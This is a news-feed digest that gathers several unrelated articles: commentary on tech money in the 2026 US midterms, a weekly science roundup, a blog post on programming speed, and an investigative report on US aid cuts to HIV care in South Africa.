Why Big Tech is Betting on the US Midterms

Internet Exchange
internet.exchangepoint.tech
2026-10-29 11:34:47
Tech companies are spending big on the US midterms because the next Congress will decide federal AI rules and surveillance powers, argues IX’s Mallory Knodel....
Original Article
digital rights

Tech companies are spending big on the US midterms because the next Congress will decide federal AI rules and surveillance powers, argues IX’s Mallory Knodel.

Why Big Tech is Betting on the US Midterms
Photo by Element5 Digital / Unsplash

By Mallory Knodel , originally published by the Chicago Council on Global Affairs . The views expressed are my own and do not reflect the positions of the Chicago Council on Global Affairs.

Two things have dominated national headlines this fall: the US midterm elections and artificial intelligence (AI). Cryptocurrency, AI, and online betting companies account for over half of all corporate-backed super PAC spending this election cycle. And both generative AI and false claims about electronic voting machines have been used to sow voter distrust in the process.

Overall, US President Donald Trump's second term has been a win for Big Tech. In the last two years, the Trump administration has weakened cybersecurity rules, stalled privacy legislation, and renewed pressure for encryption backdoors. The closer Big Tech has moved to the administration, the more users’ privacy has been exposed, with still unregulated AI companies collecting ever more of people’s data.

For most American voters, though, AI is less a privacy question than a community development and infrastructure concern. Public worries about electricity costs, water supplies, and the job market have made addressing the rapid development of data centers a bipartisan midterm issue. And the rise in backlash against them could result in losses by pro-data center candidates and bring more local moratoriums.

As predicted, Trump’s order preempting state regulation of AI has put political pressure on Congress and state legislatures, led to a struggle in the courts, and placed AI policy centrally in the 2026 election cycle. With federal regulation hanging in the balance, the most powerful AI companies are now spending on both sides of the aisle in a bid for control. And there is no question that who wins and who loses in the midterms will impact the outcome on this issue.

But what is behind the cryptocurrency companies’ campaign spending? The Commodity Futures Trading Commission (CFTC), which regulates “crypto” and prediction markets like Kalshi and Polymarket, has faced a slew of state lawsuits against the prediction markets in recent months. While the Trump administration has consistently backed the prediction markets (which Donald Trump Jr. notably has ties to ), they appear to want to shore up support from the legislature—and are willing to pay for it.

Other tech fights have received less airtime in campaign ads but will also outlast the November 3 elections.

Section 702 of the Foreign Intelligence Surveillance Act lapsed in June, but communications have continued to be collected under court approvals, with the act authorized to run until March 2027. Whether it will be renewed or not , and whether a warrant requirement will be added to prevent domestic spying and backdoor searches, is for the next Congress to decide . Resistance to Flock automated license-plate reading cameras and other surveillance tools continue to galvanize local voter campaigns ahead of the midterms, and the campaign against their use will certainly continue regardless of the outcome in November.

Meanwhile, the United Nation’s International Telecommunication Union (ITU) will hold its quadrennial agenda-setting meeting, the Plenipotentiary Conference, in November . Attempts to extend the ITU's mandate to cover AI according to Latin American and Chinese proposals, address post-quantum cryptography to defend against cyberattacks, and confront tensions with space satellite internet are all likely. Ahead of this meeting, it is crucial to remember where global AI guardrails fail , AI standards are very likely to succeed.

Of course, international regulation and trade remain an important global front. The United States is currently using trade policy to push back on other countries’ tech regulations—an approach that can slow smaller economies but is unlikely to stop major ones from writing their own rules. Still, the midterms could change whether Congress backs or questions the actions of the State Department in this domain and how foreign governments judge the US position in negotiations.

All to say, while Americans may get a break from polling data, debate analysis, and AI-generated electioneering after November 3, questions surrounding tech governance will persist, with lawmakers deciding which of Big Tech's bets will pay off.


Internet Governance Dialogue 2026: Perspectives on ITU Plenipotentiary Conference and Internet Governance Forum

Tuesday 3 November 2026
North America | Washington, DC, United States of America | Both Virtual and In Person

The International Telecommunication Union’s Plenipotentiary Conference (PP-26), its highest policymaking body, convenes once every four years and meets in Doha, Qatar, in November. Ahead of it, ICANN is hosting Internet Governance Dialogue 2026 on November 3, 14:00 to 18:15 UTC, at its DC office and online. Experts from the private sector, civil society, government, academia, and the technical community will share their insights on the latest developments in internet governance, focusing on the Plenipotentiary Conference and the global Internet Governance Forum, and discuss how stakeholders can stay engaged.

IX’s Mallory Knodel will speak on the panel “Decoding ITU Plenipotentiary 2026: The decisions that will shape our digital future,” from 10:50 to 11:50 AM ET (15:50 to 16:50 UTC). Ambassador David Gross moderates, with Jamie Hedlund of ICANN, Fiona Alexander of American University and CEPA, Cheryl Miller of the United States Council for International Business, and Niki Masghati of the Internet Society.

In-person attendance is by invitation, but anyone can register to join online . For background, read our guide by Maria Paz Canales and Mallory Knodel, What’s At Stake at ITU PP-26 .

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People Used to Drink Wine Made From Ground-Up Mummies. Now, Scientists Are Studying It

403 Media
www.404media.co
2026-10-31 07:00:00
In a new study perfectly timed for Halloween, scientists dug into the chemical properties of a once-popular beverage with purported medicinal benefits: wine made with ground-up Egyptian mummies....
Original Article

Welcome back to the Abstract—and Happy Halloween! Here are the studies this week that smashed into Earth, put aliens on ice, drank mummy wine, and hugged it out.

First, a century-old theory that comets enriched Earth with the stuff of life is upended by new models of ancient impacts. Then: the case for life in extraterrestrial sea ice, a Halloween-coded medieval concoction, and a scientific embrace.

As always, for more of my work, check out my book First Contact: The Story of Our Obsession with Aliens , or subscribe to my personal newsletter The BeX Files .

Did the seeds of life come from above or below?

Anslow, Richard J. et al. “Cometary impacts are an unlikely pathway towards the origins of life on Earth.” Scientific Reports.

Carl Sagan eloquently said that we are all made of “star stuff,” but just how much of us is really comet vomit? This is a hotly debated question in science due to the popular theory that comets delivered essential ingredients for life to Earth during impacts more than four billion years ago, paving the way for the curious emergence of Earthlings.

But scientists have thrown cold primordial water on this idea in a new study that challenges “the long-held assumption that cometary impacts played an important role in the origins of life on Earth.” By running more than 100,000 advanced simulations of comet impacts, the team found that key prebiotic molecules found in comets, such as hydrogen cyanide, would be smashed to smithereens during impacts with Earth’s ancient surface in most cases.

Moreover, while Earth was pummeled by these snowballs during its youth—relatable!—this bombardment doesn’t neatly line up with the timeline of abiogenesis, the term of the origin of life. For these reasons, it’s much more likely that life assembled from earthly molecules that leaked out from our planet’s interior, according to the study.

“The most probable timing of successful cometary impact is in the early Hadean…more than 100 [million years] earlier than the estimated emergence of the last universal common ancestor (LUCA) at  4.2 [billion years ago],” said researchers led by Richard Anslow of the University of Cambridge.

“Taken together, the rapid decline in Earth’s cometary impact bombardment and the efficient destruction of fragile cometary organics indicate that the successful delivery of prebiotic feedstock molecules was an exceedingly rare event,” the team added.

The researchers didn’t rule out the possibility altogether, but concluded that any impact that had a direct influence on abiogenesis would be an edge case. That said, comets might serve as prebiotic wellsprings on other planets, such as Mars, where key molecules might have faced better odds of survival upon impact due to the red planet's smaller mass and thin atmosphere.

“Mars would have been the more favourable target for the cometary delivery of prebiotic feedstock molecules” which “strengthens the possibility that life could have emerged on Mars,” the study concluded.

In other news…

The tip of an alien iceberg

Barrier, Edouard et al “Sea Ice as an Origin of Life Location for Hycean and Ocean Worlds.” Monthly Notices of the Royal Astronomical Society.

While we’re on the topic of prebiotic feedstock molecules—a household conversation, no doubt—let’s speculate about their accumulation on weird exoplanets. In a new study, scientists suggest that these molecules might build up in sea ice on a variety of extraterrestrial ocean worlds, providing a pathway to the emergence of aliens.

“Water worlds with potential deep oceans are at the forefront of currently observable exoplanetary habitability,” said researchers led by Edouard Barrier of the University of Cambridge. “Here we outline a location where nutrients could be concentrated in sufficiently high quantities to make abiogenesis possible—at the interface between the open ocean and the surface ice shelf.”

File:Hyceanplanet.jpg
Concept art of a Hycean planet. Image: Pablo Carlos Budassi

The team studied the dynamics of sea ice on Earth, and modelled how similar features might form on a range of different exoplanets, including hypothetical “Hycean” planets. These are worlds more massive than Earth, but smaller than Neptune, making them part of the “sub-Neptune” class of exoplanets.

The results revealed mechanisms that “may plausibly provide concentrated chemical feedstock for prebiotic chemistry” on many of these exoplanets, suggesting they could be a substrate for the emergence of alien life. This “rich avenue of research…has the potential to significantly advance our understanding of aquaplanet habitability, and particularly to improve the prospects of abiogenesis on sub-Neptunes,” the team concluded.

What a week for the prebiotic feedstock beat! Taken together, these studies point to multiple onramps for life on worlds like Earth, Mars, exotic sub-Neptunes, and more, upping odds that life exists elsewhere in the universe—regardless of whether we ever find it.

Drink the mummy wine

Berger, Tim, and Naimi, Amira et al.“New molecular and historical evidence on ancient Egyptian embalming.” Proceedings of the National Academy of Sciences.

To celebrate Halloween, here’s a trick and a treat all wrapped up in one delightfully grotesque story about mummies. Roughly 700 years ago, someone had the interesting idea of grinding up parts of Egyptian mummies, mixing the residue with wine or other liquids, and prescribing it as a medicinal elixir for people to drink.

This resulting product, known as Mumia vera aegyptiaca , circulated in Arabic and European markets for centuries, but its exact composition and pharmacology remain unclear. You know what that means: It’s time to do science on the medieval mummy cocktails.

Two historic apothecary vessels of Mumia vera from Hamburg Museum (left) and Deutsches Apothekenmuseum Heidelberg, Germany (right). Images: Christoph Braun and Bullenwächter

Researchers analyzed historical Mumia vera products, mummified body parts, embalming residues, bandages, and two mummified skulls. The team discovered a wide range of formulas for this medicine, including one powdered product that appears to have been derived from a mummified head.

The results demonstrate that “an apparently uninformative powdered material can be chemically linked to a specific mummified head,” said researchers co-led by Tim Berger and Amira Naimi of Marburg University. “This study shows that linking historical texts, material culture, molecular composition, and bioactivity, can open new routes for decoding historical medicines and reconstructing the material biographies of human remains and museum objects.”

So if you are really committed to the spirit of this season, break out some Mumia vera aegyptiaca to pair with your Halloween candy and witches’ brew. Bottoms up—or more accurately: mummified-heads up.

Advances in hug science

Dueren, Anna Lena et al. “Why we hug: Individual differences predict emotional touch memories.” PLOS One.

What better way to close out this chilling spooky season than with the warm embrace of science? So come on, bring it in for a hug—or, in this case, roughly 15,000 of them.

Hugging is an incredibly common form of affection among humans, and even some other animals, including Halloween favorites like vampire bats . But little is known about “how individual differences shape the remembrance of such experiences,” according to a new study.

To fill this cuddly gap, scientists analyzed survey responses from 15,049 adult participants in the United Kingdom who were recruited in a public broadcasting campaign that included the BBC. The volunteers reported that their most memorable hugs were “for comfort, support, and understanding” and there was a noticeable gender split, as men were more likely to remember hugs that were “arousing” than women.

“Regarding hugs, men have shown different lateralisation and arm crossing patterns when hugging other men compared to women,” said researchers led by Anna Lena Dueren of the University of Bristol. “Furthermore, women were found to experience a stress buffering effect of hugs that was absent in men.”

And for anyone who considers themselves not a “hugger,” you are not alone. Plenty of participants expressed that they found hugs difficult or unpleasant. So whether you love bear hugs or cannot bear hugs, this study has something for you.

Thanks for reading! See you next week.

Serbia just elected the world's brainiest parliament

Hacker News
www.science.org
2026-10-31 06:21:30
Comments...

The Secret of Fast Programming: Stop Thinking »

Lobsters
www.codesimplicity.com
2026-10-31 06:20:48
Comments...
Original Article

When I talk to developers about code complexity, they often say that they want to write simple code, but deadline pressure or underlying issues mean that they just don’t have the time or knowledge necessary to both complete the task and refine it to simplicity.

Well, it’s certainly true that putting time pressure on developers tends to lead to them writing complex code. However, deadlines don’t have to lead to complexity. Instead of saying “This deadline prevents me from writing simple code,” one could equally say, “I am not a fast-enough programmer to make this simple.” That is, the faster you are as a programmer, the less your code quality has to be affected by deadlines.

Now, that’s nice to say, but how does one actually become faster? Is it a magic skill that people are born with? Do you become fast by being somehow “smarter” than other people?

No, it’s not magic or in-born at all. In fact, there is just one simple rule that, if followed, will eventually solve the problem entirely:

Any time you find yourself stopping to think, something is wrong.

Perhaps that sounds incredible, but it works remarkably well. Think about it—when you’re sitting in front of your editor but not coding very quickly, is it because you’re a slow typer? I doubt it—“having to type too much” is rarely a developer’s productivity problem. Instead, the pauses where you’re not typing are what make it slow. And what are developers usually doing during those pauses? Stopping to think—perhaps about the problem, perhaps about the tools, perhaps about email, whatever. But any time this happens, it indicates a problem.

The thinking is not the problem itself—it is a sign of some other problem. It could be one of many different issues:

Understanding

The most common reason developers stop to think is that they did not fully understand some word or symbol.

This happened to me just the other day. It was taking me hours to write what should have been a really simple service. I kept stopping to think about it, trying to work out how it should behave. Finally, I realized that I didn’t understand one of the input variables to the primary function. I knew the name of its type, but I had never gone and read the definition of the type—I didn’t really understand what that variable (a word or symbol) meant. As soon as I looked up the type’s code and docs, everything became clear and I wrote that service like a demon (pun partially intended).

This can happen in almost infinite ways. Many people dive into a programming language without learning what (, ), [, ], {, }, +, *, and % really mean in that language. Some developers don’t understand how the computer really works. Remember when I wrote The Singular Secret of the Rockstar Programmer ? This is why! Because when you truly understand, you don’t have to stop to think. It’s also a major motivation behind my book —understanding that there are unshakable laws to software design can eliminate a lot of the “stopping to think” moments.

So if you find that you are stopping to think, don’t try to solve the problem in your mind—search outside of yourself for what you didn’t understand. Then go look at something that will help you understand it. This even applies to questions like “Will a user ever read this text?” You might not have a User Experience Research Department to really answer that question, but you can at least make a drawing, show it to somebody, and ask their opinion. Don’t just sit there and think— do something . Only action leads to understanding.

Drawing

Sometimes developers stop to think because they can’t hold enough concepts in their mind at once—lots of things are relating to each other in a complex way and they have to think through it. In this case, it’s almost always more efficient to write or draw something than it is to think about it. What you want is something you can look at, or somehow perceive outside of yourself. This is a form of understanding, but it’s special enough that I wanted to call it out on its own.

Starting

Sometimes the problem is “I have no idea what code to start writing.” The simplest solution here is to just start writing whatever code you know that you can write right now. Pick the part of the problem that you understand completely , and write the solution for that—even if it’s just one function, or an unimportant class.

Often, the simplest piece of code to start with is the “core” of the application. For example, if I was going to write a YouTube app, I would start with the video player. Think of it as an exercise in continuous delivery—write the code that would actually make a product first, no matter how silly or small that product is. A video player without any other UI is a product that does something useful (play video), even if it’s not a complete product yet.

If you’re not sure how to write even that core code yet, then just start with the code you are sure about. Generally I find that once a piece of the problem becomes solved, it’s much easier to solve the rest of it. Sometimes the problem unfolds in steps—you solve one part, which makes the solution of the next part obvious, and so forth. Whichever part doesn’t require much thinking to create, write that part now.

Skipping a Step

Another specialized understanding problem is when you’ve skipped some step in the proper sequence of development. For example, let’s say our Bike object depends on the Wheels, Pedals, and Frame objects. If you try to write the whole Bike object without writing the Wheels, Pedals, or Frame objects, you’re going to have to think a lot about those non-existent classes. On the other hand, if you write the Wheels class when there is no Bike class at all, you might have to think a lot about how the Wheels class is going to be used by the Bike class.

The right solution there would be to implement enough of the Bike class to get to the point where you need Wheels. Then write enough of the Wheels class to satisfy your immediate need in the Bike class. Then go back to the Bike class, and work on that until the next time you need one of the underlying pieces. Just like the “Starting” section, find the part of the problem that you can solve without thinking, and solve that immediately.

Don’t jump over steps in the development of your system and expect that you’ll be productive.

Physical Problems

If I haven’t eaten enough, I tend to get distracted and start to think because I’m hungry. It might not be thoughts about my stomach, but I wouldn’t be thinking if I were full—I’d be focused. This can also happen with sleep, illness, or any sort of body problem. It’s not as common as the “understanding” problem from above, so first always look for something you didn’t fully understand. If you’re really sure you understood everything , then physical problems could be a candidate.

Distractions

When a developer becomes distracted by something external, such as noise, it can take some thinking to remember where they were in their solution. The answer here is relatively simple—before you start to develop, make sure that you are in an environment that will not distract you, or make it impossible for distractions to interrupt you. Some people close the door to their office, some people put on headphones, some people put up a “do not disturb” sign—whatever it takes. You might have to work together with your manager or co-workers to create a truly distraction-free environment for development.

Self-doubt

Sometimes a developer sits and thinks because they feel unsure about themselves or their decisions. The solution to this is similar to the solution in the “Understanding” section—whatever you are uncertain about, learn more about it until you become certain enough to write code. If you just feel generally uncertain as a programmer, it might be that there are many things to learn more about, such as the fundamentals listed in Why Programmers Suck . Go through each piece you need to learn until you really understand it, then move on to the next piece, and so on. There will always be learning involved in the process of programming, but as you know more and more about it, you will become faster and faster and have to think less and less.

False Ideas

Many people have been told that thinking is what smart people do, thus, they stop to think in order to make intelligent decisions. However, this is a false idea. If thinking alone made you a genius, then everybody would be Einstein. Truly smart people learn, observe, decide, and act. They gain knowledge and then use that knowledge to address the problems in front of them. If you really want to be smart, use your intelligence to cause action in the physical universe—don’t use it just to think great thoughts to yourself.

Caveat

All of the above is the secret to being a fast programmer when you are sitting and writing code . If you are caught up all day in reading email and going to meetings, then no programming happens whatsoever—that’s a different problem. Some aspects of it are similar (it’s a bit like the organization “stopping to think,”) but it’s not the same.

Still, there are some analogous solutions you could try. Perhaps the organization does not fully understand you or your role, which is why they’re sending you so much email and putting you in so many meetings. Perhaps there’s something about the organization that you don’t fully understand, such as how to go to fewer meetings and get less email. 🙂 Maybe even some organizational difficulties can be resolved by adapting the solutions in this post to groups of people instead of individuals.

-Max

How Trump Destroyed South Africa’s Effort to Slow HIV Transmission

Intercept
theintercept.com
2026-10-31 06:00:00
In South Africa, home to the world’s largest population of people living with HIV, efforts to contain the virus have been upended. The post How Trump Destroyed South Africa’s Effort to Slow HIV Transmission appeared first on The Intercept....
Original Article

This story was supported by the Pulitzer Center and the Fund for Investigative Journalism.

JOHANNESBURG, SOUTH AFRICA — When it opened in early 2024, Engage Men’s Health Clinic served as a free, one-stop shop for sexual health, gender-affirming medical care, and HIV prevention, testing, and treatment. Located within a short distance of seven universities, it was a place where many college students came before “they’d even had sex for the first time,” a former worker told The Intercept. This made Engage a “high-impact” clinic for distribution of the HIV prevention drug PrEP.

The building, on a tree-lined stretch of Reserve Street in Johannesburg, was adorned with the logo for the President’s Plan For AIDS Relief, or PEPFAR; a rainbow-colored mural of Simon Tseko Nkoli, the gay anti-apartheid activist who helped start one of Africa’s first Pride celebrations and who died of AIDS in 1998; and a sign for USAID saying the site was a gift “from the American people.”

Today, it would be very hard to get help here, despite the welcoming-but-outdated signage. The clinic, once staffed full-time by professionals, closed abruptly during the first hours of the second Trump administration. Its replacement, an unrelated volunteer clinic called USpace, is open a mere four hours a week. They can do HIV tests here. But they have no HIV treatment, HIV prevention, or gender-affirming medication to distribute.

South Africans account for about a fifth of the 41 million people living with HIV around the world. Out of a population of nearly 64 million, some 8 million people in South Africa are living with HIV, which is roughly 1 in 8. Managing their healthcare is a matter of international concern and requires global coordination and an immense local network. In a nation with such high rates of HIV, public health workers can’t just wait for people to walk into clinics; they must proactively go to them.

Yet over the last year and a half, this crucial work has been stymied. By Jacqueline Pienaar’s count, HIV prevention groups have lost track of approximately 20,000 people with HIV in the Johannesburg and Pretoria region alone since U.S. President Donald Trump came back to the White House. “It used to be if someone didn’t show up to get their medication, you’d go to them,” said Pienaar, a principal investigator and global health specialist at the Aurum Institute, an NGO that offers medical care and contact tracing for the region’s massive HIV-positive population.

For years, the U.S. Centers for Disease Control and Prevention funded her work. Many of her patients were homeless, unemployed, and extremely poor. If they are unaccounted for and unmedicated, their viral loads will spike, all but assuring large transmission increases in a country that is already home to 20 percent of the world’s HIV-positive population.

With U.S. funding vanished, South Africa now finds itself at risk of unmitigated HIV spread.

Now, at organizations like the Aurum Institute, interviews with Pienaar and other workers reveal how funding cuts have devastated the care apparatus. Employment in HIV care and prevention has become precarious, and resources to slow HIV transmission are increasingly scarce. As elsewhere in the world, this is creating a crisis of unemployment for Black LGBTQ+ workers, which itself creates higher risk for HIV. Gender-affirming care, which is a crucial tool for preventing HIV, has disappeared almost entirely.

Until the second Trump administration, the United States government sent a bit more than half a billion dollars a year to the Republic of South Africa. Of the $580 million the U.S. sent in 2024, 78 percent ($455 million) went towards HIV/AIDS.

But this money from America was hardly charity or lacking in self-interest. Because viruses know no borders, what happens with AIDS in the country with the most infections affects everyone on Earth. Controlling HIV in South Africa makes the entire world safer by preventing the emergence of dangerous viral mutations, reducing the global burden of infectious diseases, and strengthening health systems that detect future pandemics. Because viruses mutate rapidly when allowed to replicate unchecked, poorly controlled epidemics anywhere pose a direct threat to global health security.

South Africa also leads the world on another important front: medical research to address HIV. The republic is home to more clinical trials than any other country for seeing how medications of all kinds (including Covid vaccines) impact those with HIV. The profits of American drug companies depend on South Africans undergoing research trials.

And after a year-and-a-half of dialing down HIV funding and only allowing it with many caveats which have caused major harm, the United States announced in June — during America’s LGBTQ+ Pride Month — that it will end all HIV funding in South Africa .

The ramifications of this will be felt globally for years to come.

They are already being felt by the millions of South Africans for whom HIV care has become harder and harder to find. And the effects are most severe for those already on the margins of South African society: those already living with HIV/AIDS, immigrants, trans women, and the poor, including thousands of newly unemployed HIV prevention workers.

A laboratory technician Nozipho Mlotshwa works on samples at the Wits laboratory Antiviral Gene Therapy Research Unit, at University of the Witwatersrand Medical School, in Johannesburg, South Africa, Thursday, May 22, 2025. (AP Photo/Themba Hadebe)
Laboratory technician Nozipho Mlotshwa works on samples at the Antiviral Gene Therapy Research Unit, at University of the Witwatersrand Medical School, in Johannesburg on May 22, 2025. Photo:Themba Hadebe/AP

On January 20, 2025, Trump signed two executive orders: 14169 , “Reevaluating and Realigning United States Foreign Aid,” and 14168 , “Defending Women from Gender Ideology Extremism and Restoring Biological Truth to the Federal Government.”

Within hours of Trump taking the oath of office, the vast majority of workers for OUT LGBT Well-Being, which ran the Engage clinic, were told not to come in to work the next day nor to even open their work laptops again. According to one, 82 of 86 workers were let go. They would become part of the one-third of South Africans who are already unemployed .

Trump executive order 14155 formally pulled the U.S. out of the World Health Organization in January 2026. Trump’s cuts came after the outgoing administration of President Joe Biden reportedly failed to pay some $130 million in 2024 WHO dues, leaving the organization with a $1.9 billion gap. As a consequence, WHO implemented a 30 percent reduction in its workforce.

South Africa’s response to HIV has been shaped by its two most famous citizens: Nelson Mandela and Elon Musk.

Mandela, the first president of the republic, played a large role making sure combating AIDS was part of national policy, even guiding the writing of gay, lesbian, bisexual and even trans rights into the constitution (the first constitution in the world to do so). Musk, for his part, can take credit for exacerbating the plague.

During Trump’s first term, with Musk merely cheering from the sidelines, U.S. funding for LGBTQ+ health and HIV did not decrease significantly, at home or abroad. But ahead of Trump’s second term, it was Musk who first recommended a U.S. “government efficiency commission” to Trump in 2024, planting the seeds for what was to come.

HIV funding nationally and globally have plummeted in Trump’s second term through cuts largely enacted at the behest of Musk’s short-lived Department of Government Efficiency. (These have been paired with an immigration policy so racist, over the last six months, literally the only refugees to enter the U.S. have been white South Africans .)

Musk quit just a few months into his tenure in 2025, before DOGE shut down entirely . He reportedly took a swath of DOGE data with him, saw his wealth skyrocket, and became the world’s first trillionaire . Reporting on mathematical projections about how many people have been or will be killed by the U.S. Agency for International Development, or USAID, cuts he pushed have ranged from hundreds of thousands to about 10 million to even tens of millions . (When Rep. Ro Khanna, D-Calif., accused Musk of executing “a death sentence for an estimated 4.5 million children around the world,” Musk threatened to sue him.)

“We have rights for trans women only on paper.”

But not all harm results in immediate, quantifiable fatalities. HIV-related deaths usually take many years to occur, and South Africans who die of HIV, or due to an increasingly transphobic healthcare system, are unlikely to be mourned in any numerically comprehensive database.

In South Africa, being trans is not a crime — it’s legally protected thanks to its 1996 constitution shaped by Mandela. And yet, as one trans HIV-prevention worker put it, “we have rights for trans women only on paper.” Because trans care was largely being financed largely by USAID, PEPFAR, and CDC research, when U.S.-money disappeared, trans care went away — along with a lot of the much-needed HIV prevention for everyone.

HILLCREST, SOUTH AFRICA NOVEMBER 29: Patients watch a soccer game on TV in the hospice at Hillcrest AIDS Centre on November 29, 2025 in Hillcrest outside Durban, South Africa. The organization, founded in 1990, runs multiple projects in rural areas, educating and counseling teenagers and grandmothers about HIV and Gender Based Violence. About 8 million people live with HIV in South Africa, the largest HIV epidemic in the world. The country is battling with funding due to Aid cuts from the U.S. and many organizations has cut down their projects or closed completely. (Photo by Per-Anders Pettersson/Getty Images)
Patients watch a soccer game on TV in the hospice at Hillcrest AIDS Centre on Nov. 29, 2025, in Hillcrest outside of Durban, South Africa. Photo: Per-Anders Pettersson/Getty Images

In South Africa, LGBT Pride celebrations happen in the fall to connect gay history to the September 24 Heritage Day national holiday.

At last year’s Soweto Pride in the all-Black township where Winnie Mandela once lived, there were no corporate sponsors and zero presence from the U.S. Embassy or any U.S.-based NGOs.

It was here The Intercept first met Sibonelo Ncanana Trower, the worker at OUT LGBT Well-Being which had run the now-shuttered Engage clinic. He and his partner were wearing matching rainbow sweaters. Nearly nine months after being laid off, he was still looking for work — and it was one of his first times going to a gay event.

Though he was no longer getting paid, Sibonelo still was doing a lot of public health work for free, out of a sense of communal responsibility.

“If you go on Grindr — and I don’t suggest that you do, it’s too dangerous,” Sibonelo said, “you will see many of my former colleagues offering services.” People who had been trained as social workers and peer educators to provide care to sex workers were now working as sex workers. In an email to The Intercept, Sibonelo said he is back to working at OUT as of early June.

As the festivities continued, the almost entirely Black crowd danced to a mix of hip hop, rap, and dance hall on a grass field, bordered on one side by tents. Under the banner “The Queer Nation Has No Borders,” a group of volunteers and workers at the SafePlace International tent welcomed LGBTQ+ migrants and refugees and offered help for finding housing and work.

While Europeans are routinely worried about African refugees trying to cross the Mediterranean to Greece or Italy, SafePlace explained that most migrants in Africa are not trying to leave the continent at all — and most queer and African migrants fleeing legal persecution head down to South Africa. They try to go south because they’ve correctly heard that South Africa is legally good for queer Africans and that they can claim asylum. But they also come because they’ve heard — rather incorrectly — that South Africans welcome migrants. (In recent decades, migrants have faced great hostility in South Africa, especially in the lead-up to 2025’s G20 summit in Johannesburg, which Trump boycotted , and in increasingly bold xenophobic protests in 2026.)

Mpho is a lesbian from rural South Africa, and she spoke about a kind of refugee status few Westerners consider. Mpho explained that people who come from within South Africa to Cape Town, Durban, Pretoria or Johannesburg are often called immigrants , for their distinct cultures, languages (South Africa officially has 12 languages), and understandings of sexuality, gender, and being intersex. She herself knew she was different; but in her township, where there is not constant connectivity with mass media, she didn’t know anyone like her until she came to a big city.

Masi has had an even more challenging route. He is a trans man born in Zambia who made his way to South Africa, after surviving an arranged marriage and a community shunning.

Mpho and Masi have both known trans people who have experienced extreme body dysmorphia, including trans men who have started to have periods again once they lost access to hormone replacement therapy due to the Trump–Musk cuts. They know someone who has gone into the public health system, had their doctor leave the room in the middle of a genital exam — and then return with a group of colleagues to laugh at their body.

This has led to a wave of depression and suicides among their friends. Masi has made the difficult decision to only “socially transition.” He has chosen to dress and live as a man without hormonal or surgical intervention, because he does not want to begin any process that he can’t finish, or which could be taken away from him for any time.

A 36-year-old HIV-positive sex worker and mother of one who requested anonymity, shows a antiretroviral drug bought illegally on the blackmarket in Johannesburg, South Africa, Friday, June 20, 2025. (AP Photo/Louise Dewast)
A 36-year-old HIV-positive sex worker and mother of one who requested anonymity shows a antiretroviral drug bought illegally on the black market in Johannesburg on June 20, 2025. Photo:Louise Dewast/AP

A few days later, Masi and Mpho drove into Johannesburg in a car early on a Saturday morning, decked out in “the queer nation has no borders” swag. With them was Mandi, a trans woman from Uganda. While Mandi waits for surgeries she plans to have, she has found a way to get estrogen — and stay on it — despite “the cuts.”

The three friends were on their way to perform an “Act of Kindness,” a part of SafePlace’s program where queer and trans people perform service projects which confer dignity upon each other. (SafePlace is privately funded, and like other privately funded NGOs, its work and workers are stressed in trying to meet the profound additional need in the wake of U.S. and WHO cuts.) Masi, Mpho, and Mandi would be serving lunch at a shelter for displaced queer women in the Vaal area, south of Johannesburg.

Mandi grew up assigned as a boy but knew she liked other boys. Uganda only made being gay a capital offense in the last couple of years, but it has been illegal in various forms since at least 2014 . As in many places, Mandi’s legal problems did not come from random government surveillance; rather, she kissed a friend, whose parents found out, who told their school, who told the authorities, who arrested them both. This, in turn, outed Mandi to her family, who threw her out on the street. (She has never seen them again.)

Eventually, she made her way 5,000 kilometers by land to South Africa.

Mandi had an idea that South Africa “accepted people like me,” and while living on the streets of Cape Town (and then in the back of a restaurant where she did unpaid labor), someone pointed her to SafePlace. They found her a home, helped her get healthcare, and supported her in starting to live as a woman.

After crossing the Mandela Bridge, the roads shifted from highway to unpaved, red-clay-earth roads. They arrived in the Vaal and approached Orange Farm, an area well known to AIDS researchers for its high prevalence of HIV and for hosting many research studies, including the world’s first trial to see how circumcision could affect rates of HIV transmission .

Mpho, Masi, and Mandi pulled up to a nice home, double wide in size, which had a rainbow flag on its fence. This was the shelter where they’d be serving lunch.

The group set up a precarious gas stove in the garage and began cooking massive amounts of chicken, vegetables, and pap , the South African grain dish that is akin to Cream of Wheat in America or polenta in Italy.

Before the meal, Mandi got up in front of important community elders from the neighborhood and told her story. She implored them that the most important thing about having an LGBTQ+ child is to not kick them out and to stay connected. As a cautionary tale, she warned them that her elders now wanted her to return to Uganda to take care of them in old age — even after they’d abandoned her.

Gwendolyn Dube lives in the Orange Farm section of the Vaal, in a tin-roofed shack with no running water or electricity, not far from the Steve Biko Elementary School.

At 35, she has lived with HIV for more than 20 years; she was infected when she was raped as a child. She was among the first cohort of South African children to receive antiretroviral medication, or ARVs, in the early 2000s.

For many years, she received free medical care and ARVs at a clinic across the street from Eyethu Orange Farm Mall. It encompasses many buildings across a large campus, and its rooms are simple and very crowded. A small pride flag hangs on a poll beside the South African flag — both are at half mast, for no discernible reason.

While this is not officially an HIV clinic, Orange Farm has one of the highest rates of HIV anywhere in the world, and HIV is part of most medical care here. In a room with racked, connected plastic chairs like a bus terminal, signs read: “Are you or your child on ARVs? Do you know your VIRAL LOAD?”

Moving through the hall full of hundreds of mothers with children carried on backs in baby wraps, Gwendolyn recalled how difficult it’s become to get medicine. She used to get three months of treatment at a time, then two, then one. Then she was told there was no file for her.

“I think they say that when they’re overworked,” she said.

One of the workers behind the check-in desk told The Intercept that things have gotten much harder since the cuts: “We don’t turn people away. But we don’t have enough staff. People will come here and wait for 8, 10, even 12 hours — and sometimes they don’t even get to see someone about what they need.” (For people living in abject poverty, the loss of a day’s earnings can be devastating — especially if they have HIV and have to face this risk regularly.)

Another clinic worker shared that since the cuts, many visiting healthcare workers on U.S.-funded grants not only left, but also took their equipment with them.

“I used to send teams out every day. Now, it’s maybe once a week.”

The nurses of the clinic move with a military precision, even wearing military rank epaulets on their shoulders. The head of them is the “matron,” who, when asked by The Intercept, denied that they’ve run out of any medication, or that they turn people away (a claim Gwendolyn and others disputed). The matron conceded that sometimes people have to wait so long “they will leave” — and maybe don’t come back. She acknowledged that the clinic doesn’t always have the specific medication people need when they need it. She also bemoaned that it’s hard to keep staff, burnout and turnover are high, and that her mobile teams, which would go out into the townships, are severely limited.

“I used to send teams out every day,” she said. “Now, it’s maybe once a week.”

FILE - A pharmacist holds a vial of lenacapavir, at the Desmond Tutu Health Foundation's Masiphumelele Research Site, in Cape Town, South Africa, July 23, 2024. (AP Photo/Nardus Engelbrecht)
A pharmacist holds a vial of lenacapavir at the Desmond Tutu Health Foundation’s Masiphumelele Research Site in Cape Town, South Africa, on July 23, 2024. Photo: Nardus Engelbrecht/AP

